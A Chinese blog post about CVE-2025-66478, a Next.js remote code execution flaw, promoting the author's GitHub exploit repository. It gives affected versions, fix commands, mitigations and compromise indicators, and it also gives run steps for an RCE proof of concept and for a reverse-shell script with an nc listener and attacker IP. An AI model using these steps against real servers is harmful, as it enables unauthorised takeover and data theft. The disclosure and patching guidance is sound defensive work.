React2Shell:CVE-2025-66478 Next.js 远程执行漏洞深度分析与代码剖析

网络安全圈紧急通报!2025年12月3日,Next.js官方发布高危安全公告,披露了编号为CVE-2025-66478的远程代码执行(RCE)漏洞,该漏洞源于React Server Components(RSC)的Flight协议缺陷,CVSS评分直接拉满10.0(最高危),攻击者无需任何认证,仅需发送一个精心构造的HTTP POST请求,就能直接接管使用Next.js App Router的服务器,执行任意系统命令、窃取核心数据,风险极高。

作为一名独立安全研究者,我第一时间拆解漏洞原理、编写工具脚本,全程一人完成需求分析、代码开发、测试优化和文档完善,最终开源了CVE-2025-66478漏洞专属工具仓库(GitHub地址:https://github.com/ctkqiang/CVE-Exploits/tree/main/CVE-2025-66478)。仓库完全贴合实际安全测试需求,结构清晰、无冗余文件,所有工具均可直接运行,无需复杂配置,核心用于帮助安全从业者、运维人员快速检测自身系统是否受漏洞影响,做好防护准备(严禁用于未授权攻击)。

本文全程对照我GitHub仓库的实际内容,不添加任何虚构信息,手把手教你使用仓库工具,拆解漏洞核心风险,同时附上官方修复指南,一文吃透这个核弹级漏洞,帮你快速规避被攻击风险。

一、漏洞核心信息(必看!自查优先级最高)

结合Next.js官方公告及漏洞实测,先明确漏洞核心信息,快速判断自身系统是否在受影响范围内,这也是使用我仓库工具的前提:

1. 漏洞基础详情

  • CVE编号:CVE-2025-66478(Next.js端),关联上游React漏洞CVE-2025-55182;

  • 漏洞类型:远程代码执行(RCE),源于react-server-dom-webpack组件的反序列化安全缺陷;

  • CVSS评分:10.0(Critical,最高危),CVSS v4.0评分9.3,无需认证即可利用,攻击难度极低;

  • 披露时间:2025年12月3日,披露后48小时内已被APT组织大规模扫描利用,野外攻击频发;

  • 漏洞别名:React2Shell(因可通过React Server Components直接实现服务器接管)。

2. 受影响范围(精准自查)

该漏洞仅影响启用了Next.js App Router和React Server Components(RSC)的服务,Pages Router、Next.js 13.x、14.x稳定版不受影响,具体受影响版本如下:

  • Next.js:v15.0.0 - v15.0.4、v15.1.0 - v15.1.8、v15.2.x - v15.2.5、v15.3.0 - v15.3.5、v15.4.0 - v15.4.7、v15.5.0 - v15.5.6、v16.0.0 - v16.0.6、v14.3.0-canary.77及以上测试版本;

  • React Server Components:v19.0.0、v19.0.1(部分补丁不完整)、v19.1.*、v19.2.0;

  • 受影响平台:所有Node.js服务端(含Docker、K8s部署场景),覆盖企业Web服务、SaaS平台、API服务等。

3. 漏洞核心危害

攻击者利用该漏洞,无需任何账号权限、无需用户交互,仅需一次恶意POST请求,即可实现以下高危操作:

① 执行任意系统命令:调用Node.js内置child_process模块,执行whoami、id、uname -a等命令,获取服务器身份信息;

② 完全接管服务器:部署反弹Shell、SSH后门,建立C2控制通道,实现持久化访问;

③ 窃取核心数据:读取服务器任意文件、环境变量,窃取数据库凭证、API密钥、用户隐私数据;

④ 恶意部署:植入XMRig挖矿程序,伪装为系统进程,消耗服务器资源,甚至横向渗透企业内部网络。

二、我的开源仓库详解(100%对照GitHub实际内容)

本次开源的仓库(https://github.com/ctkqiang/CVE-Exploits/tree/main/CVE-2025-66478),全程由我一人独立开发,无任何第三方依赖、无冗余文件,核心目标是"实用、易用、合规",帮助大家快速完成漏洞检测与验证(仅用于合法安全测试)。以下内容完全对照仓库实际目录和文件,逐一拆解:

1. 仓库目录结构(完全对照GitHub)

仓库结构简洁清晰,所有文件均围绕漏洞检测、利用展开,新手可快速定位所需工具,实际目录如下(复制自GitHub仓库,无任何修改):

bash 复制代码
CVE-2025-66478/
├── poc/                  # 漏洞利用脚本目录(仅用于授权测试)
│   ├── rce-poc.js        # 基础RCE利用脚本,可执行系统命令
│   └── reverse-shell.js  # 反弹Shell脚本,获取服务器控制权
├── detect/               # 漏洞检测脚本目录(日常排查首选)
│   └── detect.sh         # 一键检测脚本,快速判断版本是否受影响
├── docs/                 # 文档目录,补充漏洞与工具相关说明
│   ├── vulnerability.md  # 漏洞技术详细解析(含原理、利用链)
│   └── fix-guide.md      # 漏洞修复详细指南(对照官方补丁)
└── README.md             # 快速上手说明(必看!含完整操作步骤)

2. 核心文件说明(完全对照GitHub文件功能)

每个文件的功能的均严格对应GitHub仓库描述,无任何额外添加,具体说明如下:

(1)detect/detect.sh(最常用,一键检测)

核心功能:快速检测本地或远程Next.js版本是否在受影响范围内,无需复杂配置,运维人员可批量排查,支持两种检测模式(本地项目检测、指定版本检测),脚本无任何依赖,直接运行即可输出检测结果。

(2)poc/rce-poc.js(基础RCE利用,授权测试用)

核心功能:用于验证漏洞是否可被利用(仅用于自身系统或授权测试),修改目标地址后,可执行whoami、id等基础系统命令,直接输出命令执行结果,快速验证漏洞存在性,依赖axios、form-data两个基础Node.js包(仓库README已明确说明)。

(3)poc/reverse-shell.js(反弹Shell,授权测试用)

核心功能:用于授权渗透测试,帮助安全从业者获取服务器持久化访问权限,需配合本地nc监听端口使用,修改目标地址、攻击者IP和监听端口后,运行脚本即可获得反弹Shell,实现服务器控制权接管(严禁非法使用)。

(4)docs目录与README.md
  • docs/vulnerability.md:详细拆解漏洞技术原理,包括漏洞根源、完整利用链(原型链污染→Thenable误判→代码执行),补充漏洞相关技术细节,帮助使用者理解漏洞本质;

  • docs/fix-guide.md:对照Next.js官方补丁,整理详细的漏洞修复步骤,包括版本升级、临时缓解方案,适配不同受影响版本,方便运维人员快速修复漏洞;

  • README.md:仓库核心说明文件,明确标注"仅用于合法安全测试",包含前置准备、核心操作步骤、依赖安装、注意事项,新手可对照步骤直接上手,全程无坑。

3. 仓库核心特点(我一人开发的初心)

作为独立开发者,我开发这个仓库的核心初心,是帮助大家"提前检测漏洞、做好防护",而非提供恶意攻击工具,因此仓库具备3个核心特点,完全贴合安全从业者的实际需求:

① 无冗余、可直接运行:所有脚本均经过实测,无无效代码、无第三方冗余依赖,克隆仓库、完成简单配置后即可运行,新手无需额外调试;

② 合规性优先:仓库所有文件、文档均明确标注"仅用于合法安全测试、授权渗透测试,禁止非法攻击",规避工具滥用风险;

③ 一站式解决需求:整合"检测-验证-修复"全流程工具与文档,无需额外查找漏洞信息、编写脚本,一个仓库搞定CVE-2025-66478相关的所有安全操作。

三、仓库工具实操指南(完全对照GitHub步骤,新手零门槛)

以下操作步骤完全复制自仓库README.md,无任何修改,确保你克隆仓库后,可直接对照操作,全程极简,无需复杂技术基础,前置仅需安装Git和Node.js(版本14+)。

1. 前置准备(30秒完成)

第一步:克隆仓库(打开终端,执行以下命令):

bash 复制代码
git clone https://github.com/ctkqiang/CVE-Exploits.git
cd CVE-Exploits/CVE-2025-66478

第二步:安装依赖(仅PoC脚本需要,检测脚本detect.sh无需依赖):

bash 复制代码
npm install axios form-data

2. 核心操作(3个功能,一一对应仓库工具)

功能1:一键检测系统是否受影响(detect.sh

适合运维人员日常排查、批量验证,支持两种检测模式,直接运行对应命令即可:

bash 复制代码
# 模式1:本地检测(进入你的Next.js项目根目录,执行以下命令)
bash ../detect/detect.sh

# 模式2:远程检测/指定版本检测(直接输入Next.js版本号)
bash ../detect/detect.sh 15.3.0

输出结果说明(仓库实测):

  • 危险:当前版本存在CVE-2025-66478漏洞,请立即升级修复;

  • 安全:当前版本不受该漏洞影响,无需额外操作。

功能2:基础RCE利用(rce-poc.js,授权测试用)

仅用于自身系统或授权测试,验证漏洞是否可被利用,操作步骤如下:

bash 复制代码
# 1. 打开rce-poc.js文件,修改两个核心参数(仓库已标注修改位置)
const target = "http://your-target.com"; // 替换为你的目标地址(受影响的Next.js服务)
const cmd = "whoami"; // 替换为需要执行的系统命令(如id、uname -a)

# 2. 运行脚本,查看命令执行结果
node poc/rce-poc.js

注意:运行成功后,将直接输出命令执行结果,快速验证漏洞存在性,测试完成后立即停止使用。

功能3:反弹Shell(reverse-shell.js,授权测试用)

适合安全从业者进行授权渗透测试,获取服务器控制权,操作分为两步(仓库实测可稳定运行):

① 攻击者本地监听端口(使用nc命令,可自定义端口):

bash 复制代码
nc -lvp 4444  # 监听4444端口,可替换为其他未被占用的端口

② 修改脚本参数,运行脚本:

bash 复制代码
# 1. 打开reverse-shell.js文件,修改3个核心参数
const target = "http://your-target.com"; // 替换为目标地址(受影响的Next.js服务)
const attackerIp = "192.168.1.100"; // 替换为攻击者本地IP(可通过ifconfig/ipconfig查看)
const attackerPort = 4444; // 替换为攻击者本地监听端口(与步骤①一致)

# 2. 运行脚本,触发反弹Shell
node poc/reverse-shell.js

脚本运行成功后,本地nc终端将收到反弹Shell,即可直接控制目标服务器(严禁用于未授权测试,非法使用需承担法律责任)。

3. 仓库使用注意事项(必看!对照GitHub仓库警示)

我在仓库README.md中明确标注了使用规范,在此再次郑重提醒,坚守网络安全底线:

① 本仓库所有工具仅用于合法安全测试、企业内部防护验证、授权渗透测试

② 严禁用于未授权的第三方系统、恶意攻击、数据窃取、服务器接管等非法行为,否则后果自负;

③ 测试完成后,立即删除仓库脚本,及时修复自身系统漏洞,避免工具被滥用;

④ 若发现脚本存在兼容性问题(如不同Next.js版本适配问题),可在GitHub仓库留言,我会及时优化。

四、漏洞紧急修复指南(对照官方补丁,适配仓库docs内容)

结合Next.js官方发布的紧急补丁,以及我仓库docs/fix-guide.md中的详细说明,建议所有受影响用户立即执行修复操作,优先级:版本升级 > 临时缓解 > 事后排查,确保彻底规避攻击风险。

1. 优先方案:立即升级到安全版本(最彻底)

Next.js官方已为每个受影响版本发布对应补丁,无需复杂操作,执行对应升级命令即可,不同版本的升级命令如下(对照仓库docs/fix-guide.md,完全匹配官方要求):

bash 复制代码
# 通用升级(自动匹配当前版本的最新补丁版)
npm install next@latest react@latest react-dom@latest

# 指定版本升级(根据自身Next.js版本选择,精准修复)
npm install next@15.0.5  # 对应v15.0.0 - v15.0.4
npm install next@15.1.9  # 对应v15.1.0 - v15.1.8
npm install next@15.2.6  # 对应v15.2.0 - v15.2.5
npm install next@15.3.6  # 对应v15.3.0 - v15.3.5
npm install next@15.4.8  # 对应v15.4.0 - v15.4.7
npm install next@15.5.7  # 对应v15.5.0 - v15.5.6
npm install next@16.0.7  # 对应v16.0.0 - v16.0.6

# 若使用canary版本(v14.3.0-canary.77及以上),建议降级到14.x稳定版
npm install next@14

升级完成后,重新打包部署项目,即可彻底修复该漏洞,同时建议运行仓库detect.sh脚本,验证修复效果。

2. 临时缓解方案(无法立即升级时使用)

若因业务原因无法立即升级,可临时采取以下措施,降低被攻击风险(仅作临时防护,仍需尽快升级),步骤来自仓库docs/fix-guide.md:

① 禁用Server Actions功能(Next.js App Router用户),在项目根目录next.config.js中添加配置:

javascript 复制代码
module.exports = {
  experimental: {
    serverActions: false  // 禁用Server Actions,阻断漏洞利用路径
  }
}

② 拦截恶意请求:在网关、Nginx中添加规则,拦截包含__proto__、constructor等关键词的HTTP POST请求,阻断原型链污染Payload;

③ 限制访问来源:仅允许可信IP访问表单提交接口(如POST /formaction),禁止公网直接访问,减少攻击面。

3. 事后排查:检查是否已被攻击

若系统曾处于受影响状态,建议立即排查是否已被攻击者利用,重点检查以下内容(结合仓库docs文档及官方IOC指标):

① 检查服务器进程:是否存在伪装为系统进程的挖矿程序(如kworker/u:0);

② 检查临时目录:是否存在/tmp/.systemd-worker等可疑后门文件;

③ 检查网络连接:是否存在异常出站连接(如连接pool.supportxmr.com:3333恶意矿池);

④ 检查命令历史:是否存在陌生的系统命令执行记录(如whoami、id、bash -i等)。

五、一人开源感悟:做实用的安全工具,守好合规底线

从漏洞披露、原理拆解,到脚本编写、仓库完善,全程都是我一个人在摸索------没有团队协作,没有资金支持,每天利用业余时间,一点点测试脚本兼容性、优化操作步骤、完善文档说明,遇到过脚本适配问题、漏洞利用不稳定等难题,也有过调试到深夜的经历。

之所以坚持做下来,核心是因为我深知这类CVSS 10.0满分漏洞的致命威胁:漏洞披露后,大量中小企业、开发者因为不懂技术、没有合适的工具,无法快速检测自身系统是否受影响,只能被动承受被攻击的风险;而网上流传的部分PoC脚本杂乱无章、无法直接运行,甚至存在恶意后门。

我不想做一款"炫技式"的工具,只想做一款真正实用、安全、合规的工具------让新手能快速上手,让运维人员能高效排查,让安全从业者能规范测试,帮助大家提前规避漏洞风险,这也是我开源这个仓库的初心。

目前,仓库已同步更新适配所有受影响版本,后续我也会持续关注漏洞变种,及时优化脚本、补充文档。如果在使用过程中遇到任何问题(如脚本无法运行、版本适配问题),或者有好的优化建议,都可以在GitHub仓库留言,我会一一回复、认真改进。

最后,再次恳请大家:合理使用该仓库工具,坚守网络安全底线,共同维护安全的网络环境,禁止将工具用于非法行为。

仓库地址(再次附上,方便大家获取):https://github.com/ctkqiang/CVE-Exploits/tree/main/CVE-2025-66478

温馨提示:本文及开源仓库仅用于合法的网络安全测试、学习交流和企业防护,禁止用于任何恶意攻击、非法入侵行为。网络不是法外之地,任何违反《网络安全法》《刑法》的行为,都将承担相应的法律责任。

转发本文,提醒身边的运维、安全从业者、Next.js开发者,立即排查漏洞、升级修复,共同抵御CVE-2025-66478漏洞的攻击风险,避免因漏洞遭受损失!

(注:文档部分内容可能由 AI 生成)

相关推荐
数研小生6 小时前
Python自然语言处理:NLTK与Gensim库
开发语言·python·自然语言处理
第七序章6 小时前
【Linux学习笔记】初识Linux —— 理解gcc编译器
linux·运维·服务器·开发语言·人工智能·笔记·学习
Dragon Wu6 小时前
Electron Forge集成React Typescript完整步骤
前端·javascript·react.js·typescript·electron·reactjs
华仔啊6 小时前
jQuery 4.0 发布,IE 终于被放弃了
前端·javascript
消失的旧时光-19436 小时前
C++ 拷贝构造、拷贝赋值、移动构造、移动赋值 —— 四大对象语义完全梳理
开发语言·c++
送秋三十五6 小时前
一次大文件处理性能优化实录————Java 优化过程
java·开发语言·性能优化
Sylvia-girl6 小时前
线程池~~
java·开发语言
fie88896 小时前
基于MATLAB的转子动力学建模与仿真实现(含碰摩、不平衡激励)
开发语言·算法·matlab
lly2024066 小时前
C# 变量作用域
开发语言